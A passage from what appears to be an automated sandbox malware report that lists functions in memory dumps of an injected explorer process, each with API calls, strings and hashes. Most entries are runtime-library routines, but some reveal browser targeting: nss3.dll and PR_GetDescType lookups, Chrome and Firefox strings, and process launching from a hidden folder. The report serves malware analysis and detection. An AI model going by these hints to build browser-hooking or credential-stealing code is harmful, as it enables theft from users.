Part of subcall function 10A6B370: _getptd_noexit.LIBCMT ref: 10A6B374

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10A73689
_errno.LIBCMT ref: 10A7369A
_invalid_parameter_noinfo.LIBCMT ref: 10A736A5

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 54bb80ef8a4511ca6d41a59b20e9a6df15b521eecef6917e1bdd9b11a28a770d
Instruction ID: 0b821352cd38a04e9dcdf1af3d3c9124e24f20d2ad01a81addd495d2f8be7f4d
Opcode Fuzzy Hash: 54bb80ef8a4511ca6d41a59b20e9a6df15b521eecef6917e1bdd9b11a28a770d
Instruction Fuzzy Hash: A6316AB7B102A192DB149B1695522BE73B1F740FE5F92C136EBD507B84EB2AC991C700

Function 08B8FE2C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__DestructExceptionObject.LIBCMT ref: 08B8FE57
__DestructExceptionObject.LIBCMT ref: 08B8FEE1
_getptd.LIBCMT ref: 08B8FE34

Part of subcall function 08B8DD81: _getptd_noexit.LIBCMT ref: 08B8DD87

_getptd.LIBCMT ref: 08B8FEE6
_getptd.LIBCMT ref: 08B8FEF2

Strings

csm, xrefs: 08B8FEB4

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: _getptd$DestructExceptionObject$_getptd_noexit
String ID: csm
API String ID: 1546832303-1018135373
Opcode ID: c69aeeb6cf3e5ee57093526bf81b4e958145f93547239d54de9947959953e68f
Instruction ID: e36b9a8d2e99c6ee8962d6970066930984582ef6573530616d2793622fcd8e68
Opcode Fuzzy Hash: c69aeeb6cf3e5ee57093526bf81b4e958145f93547239d54de9947959953e68f
Instruction Fuzzy Hash: E8312B35228B04CFDA64EF18D491B69B3E2FB98352F15059DD49A83752DB31F846CB82

Function 10A5D290 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 10A5D2A9

Part of subcall function 10A68350: _lock.LIBCMT ref: 10A68362

Part of subcall function 10A5EBC0: std::_Lockit::_Lockit.LIBCPMT ref: 10A5EBD6
Part of subcall function 10A5EBC0: std::_Lockit::~_Lockit.LIBCPMT ref: 10A5EBF9

std::_Facet_Register.LIBCPMT ref: 10A5D30E
std::_Lockit::~_Lockit.LIBCPMT ref: 10A5D318
std::bad_exception::bad_exception.LIBCMT ref: 10A5D33C
_CxxThrowException.LIBCMT ref: 10A5D34D

Strings

bad cast, xrefs: 10A5D330

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 885392049-3145022300
Opcode ID: 64a55ad2a65c5a2b13196ce5ed728786bbc986c86f03896d78aaf631bd5ad827
Instruction ID: d06bcb654ea9ae051d5f81ca281f54ecf1539639797ba68acf919afd7154d5ca
Opcode Fuzzy Hash: 64a55ad2a65c5a2b13196ce5ed728786bbc986c86f03896d78aaf631bd5ad827
Instruction Fuzzy Hash: D8119475704B4581DE10DF12E55029E6331FB98BE4F884225EA9D0BBA8EF7CD546C741

Function 10A5D360 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 10A5D379

Part of subcall function 10A68350: _lock.LIBCMT ref: 10A68362

Part of subcall function 10A5EBC0: std::_Lockit::_Lockit.LIBCPMT ref: 10A5EBD6
Part of subcall function 10A5EBC0: std::_Lockit::~_Lockit.LIBCPMT ref: 10A5EBF9

std::_Facet_Register.LIBCPMT ref: 10A5D3DE
std::_Lockit::~_Lockit.LIBCPMT ref: 10A5D3E8
std::bad_exception::bad_exception.LIBCMT ref: 10A5D40C
_CxxThrowException.LIBCMT ref: 10A5D41D

Strings

bad cast, xrefs: 10A5D400

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 885392049-3145022300
Opcode ID: 9dcadbfabef63369ed3a9c2b81fe5f988b21fffef9dfa61188e71bb929362b16
Instruction ID: f11d3ab24b42de5382eb0a42fa9c64ff5aa6753632472a308f37ce0ebe9f8be3
Opcode Fuzzy Hash: 9dcadbfabef63369ed3a9c2b81fe5f988b21fffef9dfa61188e71bb929362b16
Instruction Fuzzy Hash: FF115476304B4181DE10DF16E55036AB371FB88BE4F888221EA9D4BBA8EF7CD546C741

Function 08B8FF29 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 25COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 08B8FF4A
_getptd.LIBCMT ref: 08B8FF58
_getptd.LIBCMT ref: 08B8FF6A

Strings

MOC, xrefs: 08B8FF38
csm, xrefs: 08B8FF40
RCC, xrefs: 08B8FF30

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 60f91c4cd2c692a071ec2bb8139913598d0f43342b4004e07fafa54674971370
Instruction ID: fd7b5c9c3e4651cd11bbf8bf8db1f7da7788ae1dcb0801b808f90a26b1b9dc88
Opcode Fuzzy Hash: 60f91c4cd2c692a071ec2bb8139913598d0f43342b4004e07fafa54674971370
Instruction Fuzzy Hash: 7DE0ED38911105CED7267BA8C4887B432A1FF1A20BF4A54E68444CB360DFBC5484CB57

Function 10A705F4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 10A70615
_getptd.LIBCMT ref: 10A70623
_getptd.LIBCMT ref: 10A70635

Strings

RCC, xrefs: 10A705FB
csm, xrefs: 10A7060B
MOC, xrefs: 10A70603

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 60f91c4cd2c692a071ec2bb8139913598d0f43342b4004e07fafa54674971370
Instruction ID: 13a7358f21e29c74e0d4a7b39f159a4a746fe3dadbf8ceb2199a83e3048b08a2
Opcode Fuzzy Hash: 60f91c4cd2c692a071ec2bb8139913598d0f43342b4004e07fafa54674971370
Instruction Fuzzy Hash: 69E09A3EA40148CAD3015B2081067AC36B0F7E8B0AF9AD471A30107300CBFE68E4CF23

Function 10A54550 Relevance: 9.1, APIs: 6, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

isdigit.MSVCRT ref: 10A54577
isdigit.MSVCRT ref: 10A54596
isdigit.MSVCRT ref: 10A545B0
isdigit.MSVCRT ref: 10A545CF
isdigit.MSVCRT ref: 10A545F1
isdigit.MSVCRT ref: 10A545FE

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: isdigit
String ID:
API String ID: 2326231117-0
Opcode ID: 55f37baf0d8f77136a5d375516e9989e064f2e57ab552f069e110f6a2f3ec4c3
Instruction ID: e78a6c2bcee079231f0f6ba33574360e0d9890dc5ce4dbca536c491cb6ac5481
Opcode Fuzzy Hash: 55f37baf0d8f77136a5d375516e9989e064f2e57ab552f069e110f6a2f3ec4c3
Instruction Fuzzy Hash: 11219635F94B93ABE7208B21E89075A6295FB00BEEF524426E54286D50FF3CCC9C8641

Function 10A5F4B0 Relevance: 9.0, APIs: 6, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 10A5F4DF
lstrlenA.KERNEL32 ref: 10A5F4EA
malloc.MSVCRT ref: 10A5F4F8
lstrcpyA.KERNEL32 ref: 10A5F50F
lstrcatA.KERNEL32 ref: 10A5F51B
lstrcatA.KERNEL32 ref: 10A5F527

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$lstrcpymalloc
String ID:
API String ID: 3932841890-0
Opcode ID: 644f09988f06e5470ffdb4b471bdebc185c64a0286ec77980e91656617b85f3e
Instruction ID: 2f8dd951bd7486cecd53c6223d5d49019797034b6c5fd63f236d6f9c7d5007d4
Opcode Fuzzy Hash: 644f09988f06e5470ffdb4b471bdebc185c64a0286ec77980e91656617b85f3e
Instruction Fuzzy Hash: 4101D13571174282EF088F67B95475A6361FF89FC8F4880349D4A07B18DE7CC0868340

Function 10A68CDC Relevance: 9.0, APIs: 6, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 10A68CF6
abort.LIBCMT ref: 10A68D13
DecodePointer.KERNEL32 ref: 10A68D27
_NMSG_WRITE.LIBCMT ref: 10A68D39
_set_abort_behavior.LIBCMT ref: 10A68D45
abort.LIBCMT ref: 10A68D4A

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Pointerabort$DecodeEncode_set_abort_behavior
String ID:
API String ID: 2556904055-0
Opcode ID: fec1bd2252bde516a5119e52db8b5bc8a0a86efe1fe1cbe4fe6ae57b67b9adc8
Instruction ID: 15fe22ac48cadd95f233e9e097878b8fb62e63e8b857d149d368fbff99d8b184
Opcode Fuzzy Hash: fec1bd2252bde516a5119e52db8b5bc8a0a86efe1fe1cbe4fe6ae57b67b9adc8
Instruction Fuzzy Hash: 7FF05E38612B0DC1EE48ABA1E8593A82264FF89781FC04826868D47760CEBDB4958712

Function 10A67AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50sleepprocessCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 10A67AE0

Part of subcall function 10A583F0: HeapFree.KERNEL32 ref: 10A58427
Part of subcall function 10A583F0: HeapDestroy.KERNEL32 ref: 10A58434

Part of subcall function 10A59450: SHGetFolderPathW.SHELL32 ref: 10A594B5
Part of subcall function 10A59450: lstrcatW.KERNEL32 ref: 10A594C5
Part of subcall function 10A59450: lstrcatW.KERNEL32 ref: 10A594D3
Part of subcall function 10A59450: CreateDirectoryW.KERNEL32 ref: 10A594DE
Part of subcall function 10A59450: SetFileAttributesW.KERNEL32 ref: 10A594EC
Part of subcall function 10A59450: lstrcatW.KERNEL32 ref: 10A594FC
Part of subcall function 10A59450: lstrcatW.KERNEL32 ref: 10A5950A
Part of subcall function 10A59450: lstrcatW.KERNEL32 ref: 10A5951A

CreateProcessW.KERNEL32 ref: 10A67B7D
CloseHandle.KERNEL32 ref: 10A67B88
CloseHandle.KERNEL32 ref: 10A67B93

Strings

h, xrefs: 10A67B71

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseCreateHandleHeap$AttributesDestroyDirectoryFileFolderFreePathProcessSleep
String ID: h
API String ID: 3093380506-2439710439
Opcode ID: 3a820667e903cc7a424491bf0a3acffac0432e9db0cf12d8bba0984fd7faef9a
Instruction ID: c0a62070e123a42492151328f7c873a6476bd6fb1ae6cfdc08f7fcca07069c89
Opcode Fuzzy Hash: 3a820667e903cc7a424491bf0a3acffac0432e9db0cf12d8bba0984fd7faef9a
Instruction Fuzzy Hash: EB212936618B8086E720DF65F49579EB3A4FBC8794F804129A68E46A28DF7CC049CB00

Function 10A5DE60 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 10A5DE72

Part of subcall function 10A68350: _lock.LIBCMT ref: 10A68362

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 10A5DEB8

Part of subcall function 10A68B2C: setlocale.LIBCMT ref: 10A68B40
Part of subcall function 10A68B2C: _Yarn.LIBCPMT ref: 10A68B5A
Part of subcall function 10A68B2C: setlocale.LIBCMT ref: 10A68B69

std::bad_exception::bad_exception.LIBCMT ref: 10A5DED7
_CxxThrowException.LIBCMT ref: 10A5DEE8

Strings

bad locale name, xrefs: 10A5DECB

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: setlocalestd::_$ExceptionLocinfo::_Locinfo_ctorLockitLockit::_ThrowYarn_lockstd::bad_exception::bad_exception
String ID: bad locale name
API String ID: 1861546320-1405518554
Opcode ID: 2ee4f038ba5c01554f7996e6c9d4b59c6a6aa20390e6684f22015676108ee06b
Instruction ID: 16a178c36dc1ffffec710a46059f61d29f9ba2cadf26924fed77c89ee462b165
Opcode Fuzzy Hash: 2ee4f038ba5c01554f7996e6c9d4b59c6a6aa20390e6684f22015676108ee06b
Instruction Fuzzy Hash: FCF062AA21094590CF24EF25EA911AC6335FFA4B84FC48431A74D4B968EF74D9CEC391

Function 10A79CAC Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10A79D0E
_isleadbyte_l.LIBCMT ref: 10A79D3E
MultiByteToWideChar.KERNEL32 ref: 10A79D7D
MultiByteToWideChar.KERNEL32 ref: 10A79DCB
_errno.LIBCMT ref: 10A79DD5

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: 7fd37892f316220aa19f00fcaf8dc51997011892845809b23b9cc2ff28337b72
Instruction ID: 99bc236b02701d699cc44585b97361df92c26553409a219a76ba2b4df20d7810
Opcode Fuzzy Hash: 7fd37892f316220aa19f00fcaf8dc51997011892845809b23b9cc2ff28337b72
Instruction Fuzzy Hash: DA31B032314781CADB608F26E580769BBA5FB85FD4F15C227EB8957B5ADB3AC841C700

Function 10A664E0 Relevance: 7.6, APIs: 5, Instructions: 57processCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 10A66518
CreateToolhelp32Snapshot.KERNEL32 ref: 10A66527
Module32First.KERNEL32 ref: 10A66545
Module32Next.KERNEL32 ref: 10A66565
Module32Next.KERNEL32 ref: 10A66587

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Module32$Next$CreateCurrentFirstProcessSnapshotToolhelp32
String ID:
API String ID: 3721439000-0
Opcode ID: bda1606e4ab0c299034f6951a9232dcc334564dbdc84e86ceabc3375b5e55141
Instruction ID: 53a8d8ce5dab311bc95f0f8d364817c78c6abfa35d527206c5aab7164f0672ea
Opcode Fuzzy Hash: bda1606e4ab0c299034f6951a9232dcc334564dbdc84e86ceabc3375b5e55141
Instruction Fuzzy Hash: 0F11D22622478492DA50CB24E68536E6375FBC93D4F904722EA9D47A9CFF7CD908CB40

Function 08B89569 Relevance: 7.5, APIs: 5, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 08B89576

Part of subcall function 08B8DD81: _getptd_noexit.LIBCMT ref: 08B8DD87

_inconsistency.LIBCMT ref: 08B89584
_getptd.LIBCMT ref: 08B89589
_inconsistency.LIBCMT ref: 08B895A5
_getptd.LIBCMT ref: 08B895B5

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: _getptd$_inconsistency$_getptd_noexit
String ID:
API String ID: 3003190580-0
Opcode ID: e27d73e4e10e5f735ced9ff3aaf9c326269fd929ee4272090fc268d7effb348e
Instruction ID: ae0362c585e5929f7d70e94f388fc7261284a4b147daf485018690810e56467b
Opcode Fuzzy Hash: e27d73e4e10e5f735ced9ff3aaf9c326269fd929ee4272090fc268d7effb348e
Instruction Fuzzy Hash: 77F08274628A09CFCFA9FB6CC0C0AB877E0FB8C242F4805EAD448C7346DA20A841CF15

Function 10A69C34 Relevance: 7.5, APIs: 5, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 10A69C41

Part of subcall function 10A6E44C: _getptd_noexit.LIBCMT ref: 10A6E452
Part of subcall function 10A6E44C: _amsg_exit.LIBCMT ref: 10A6E462

_inconsistency.LIBCMT ref: 10A69C4F

Part of subcall function 10A70C50: DecodePointer.KERNEL32 ref: 10A70C5B

_getptd.LIBCMT ref: 10A69C54
_inconsistency.LIBCMT ref: 10A69C70
_getptd.LIBCMT ref: 10A69C80

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$_inconsistency$DecodePointer_amsg_exit_getptd_noexit
String ID:
API String ID: 3669027769-0
Opcode ID: e27d73e4e10e5f735ced9ff3aaf9c326269fd929ee4272090fc268d7effb348e
Instruction ID: 63ee132d02015d53f50f45e6ec4feb8be75b158ce7ef3e24da677ce11e836329
Opcode Fuzzy Hash: e27d73e4e10e5f735ced9ff3aaf9c326269fd929ee4272090fc268d7effb348e
Instruction Fuzzy Hash: A6E0653A305680C4DB519B61E2851ED63F8E748BC0F1DD131FB454F205DE21D4A08356

Function 08B95EA1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 08B95EBA

Part of subcall function 08B8ACA5: _getptd_noexit.LIBCMT ref: 08B8ACA9

_invalid_parameter_noinfo.LIBCMT ref: 08B95EC6
_errno.LIBCMT ref: 08B95EED

Strings

1, xrefs: 08B95F3D

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: _errno$_getptd_noexit_invalid_parameter_noinfo
String ID: 1
API String ID: 28428206-2212294583
Opcode ID: 27def2ce63ea5164f1b389b27a4df7c0dd5113023cec360ec6b6788ed5407055
Instruction ID: 88253d11d7c1f682a59226519603009733486b9364232b3d8c003e47e0eda63c
Opcode Fuzzy Hash: 27def2ce63ea5164f1b389b27a4df7c0dd5113023cec360ec6b6788ed5407055
Instruction Fuzzy Hash: 7B21F820669EC8CFEB276B3C48843353AD5EB56257F1841FDC4C6CB256D965C8028311

Function 10A7AFFE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 10A69C34: _getptd.LIBCMT ref: 10A69C41
Part of subcall function 10A69C34: _inconsistency.LIBCMT ref: 10A69C4F
Part of subcall function 10A69C34: _getptd.LIBCMT ref: 10A69C54
Part of subcall function 10A69C34: _inconsistency.LIBCMT ref: 10A69C70

__DestructExceptionObject.LIBCMT ref: 10A7B04B
_getptd.LIBCMT ref: 10A7B051
_getptd.LIBCMT ref: 10A7B064

Part of subcall function 10A69CC4: _getptd.LIBCMT ref: 10A69CCD

Strings

csm, xrefs: 10A7B01E

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$_inconsistency$DestructExceptionObject
String ID: csm
API String ID: 2821275340-1018135373
Opcode ID: 04ef78a60891ed58f320d84018ed0530da5b37ca76eb9e364ff0eb7c92fe3229
Instruction ID: 42b2bd9c52f7843f6714cb30f43270d8e3df7ab509b663c1e1a930cc345fc399
Opcode Fuzzy Hash: 04ef78a60891ed58f320d84018ed0530da5b37ca76eb9e364ff0eb7c92fe3229
Instruction Fuzzy Hash: 44F03C6625168289CB20DF31D8857AD33B8EB49B99F499031EF5E4BB05DE32D8C6C341

Function 10A68D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 10A68D5E
malloc.LIBCMT ref: 10A68D6A

Part of subcall function 10A696CC: _FF_MSGBANNER.LIBCMT ref: 10A696FC
Part of subcall function 10A696CC: _NMSG_WRITE.LIBCMT ref: 10A69706
Part of subcall function 10A696CC: HeapAlloc.KERNEL32 ref: 10A69721
Part of subcall function 10A696CC: _callnewh.LIBCMT ref: 10A6973A
Part of subcall function 10A696CC: _errno.LIBCMT ref: 10A69745
Part of subcall function 10A696CC: _errno.LIBCMT ref: 10A69750

_CxxThrowException.LIBCMT ref: 10A68DB3

Part of subcall function 10A6978C: RtlPcToFileHeader.NTDLL ref: 10A6981B
Part of subcall function 10A6978C: RaiseException.KERNEL32 ref: 10A6985A

Strings

bad allocation, xrefs: 10A68D7A

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Exception_callnewh_errno$AllocFileHeaderHeapRaiseThrowmalloc
String ID: bad allocation
API String ID: 1214304046-2104205924
Opcode ID: cf9a3820587bab25b35abc0e452bb83a61c45a7a1915c4eae950822f45603846
Instruction ID: 182fcfb06d5aba842c8647eeb997fcd2e371ef38a2124ba4e38c21799b59fafe
Opcode Fuzzy Hash: cf9a3820587bab25b35abc0e452bb83a61c45a7a1915c4eae950822f45603846
Instruction Fuzzy Hash: B3F0BEB9600B0AC0DE24CB50A0003956368FB98388F844922AA8D0B7A4EE7CD245CB01

Function 10A66650 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 10A666E0: RtlInitializeCriticalSection.NTDLL ref: 10A66711
Part of subcall function 10A666E0: RtlInitializeCriticalSection.NTDLL ref: 10A6671E

LoadLibraryA.KERNEL32 ref: 10A6666A
GetProcAddress.KERNEL32 ref: 10A6667A

Strings

nss3.dll, xrefs: 10A66659
PR_GetDescType, xrefs: 10A66670

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$AddressLibraryLoadProc
String ID: PR_GetDescType$nss3.dll
API String ID: 1327063136-2530758152
Opcode ID: f716216c2dc700c861f7446060af0c8469fbce2ce4d372eb788502e22ba554cf
Instruction ID: 24c6363ee06411d9778d6790598f9d37d4b271379feb5b88f714c063b82264ea
Opcode Fuzzy Hash: f716216c2dc700c861f7446060af0c8469fbce2ce4d372eb788502e22ba554cf
Instruction Fuzzy Hash: B0F0AF78601B0A90EB05DF51E9953D93360FF4978DFC0801AD88953224DEBDE2C9C383

Function 10A666E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 10A58380: HeapCreate.KERNEL32 ref: 10A5839D

Part of subcall function 10A67DD0: free.MSVCRT ref: 10A67DFE
Part of subcall function 10A67DD0: Sleep.KERNEL32 ref: 10A67E15

RtlInitializeCriticalSection.NTDLL ref: 10A66711
RtlInitializeCriticalSection.NTDLL ref: 10A6671E

Strings

Firefox, xrefs: 10A666E9
Chrome, xrefs: 10A666F7

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CreateHeapSleepfree
String ID: Chrome$Firefox
API String ID: 3233720727-2335468407
Opcode ID: 0d3d46abbd83dfe590c2d1bb7bbd54f9bcf6c2aeac67eaeec3f6c303d37a2cde
